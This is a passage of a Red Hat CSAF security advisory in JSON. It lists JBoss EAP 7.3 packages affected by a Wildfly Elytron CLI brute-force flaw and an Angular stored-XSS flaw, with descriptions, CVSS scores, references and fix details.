"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2337621"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Wildfly Elytron integration. The component does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks via CLI.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "org.wildfly.core:wildfly-elytron-integration: Wildfly Elytron Brute Force Attack via CLI",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "According to WildFly Elytron, this affects all versions of JBoss EAP from version 7.1.\nRed Hat build of Keycloak does not ship wildfly-elytron.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-23368"
},
{
"category": "external",
"summary": "RHBZ#2337621",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2337621"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-23368",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23368"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-23368",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23368"
},
{
"category": "external",
"summary": "https://www.gruppotim.it/it/footer/red-team.html",
"url": "https://www.gruppotim.it/it/footer/red-team.html"
}
],
"release_date": "2025-03-03T00:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "The effectiveness of an attack will also be dependent on the complexity of the usernames and passwords defined for the target installation.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "org.wildfly.core:wildfly-elytron-integration: Wildfly Elytron Brute Force Attack via CLI"
},
{
"cve": "CVE-2025-66412",
"cwe": {
"id": "CWE-79",
"name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
},
"discovery_date": "2025-12-01T23:01:21.304427+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2418155"
}
],
"notes": [
{
"category": "description",
"text": "A flaw exists in the template compiler of Angular as it fails to properly classify certain URL-bearing attributes (including SVG and MathML attributes such as href, xlink:href, or the attributeName of SVG animation elements) as requiring strict sanitization. As a result, an attacker who can supply untrusted data bound to those attributes may inject a malicious javascript: URL or script that persists (Stored XSS), which can execute in the context of the application\u0027s origin when rendered.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "angular: Angular Stored XSS Vulnerability via SVG Animation, SVG URL and MathML Attributes",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
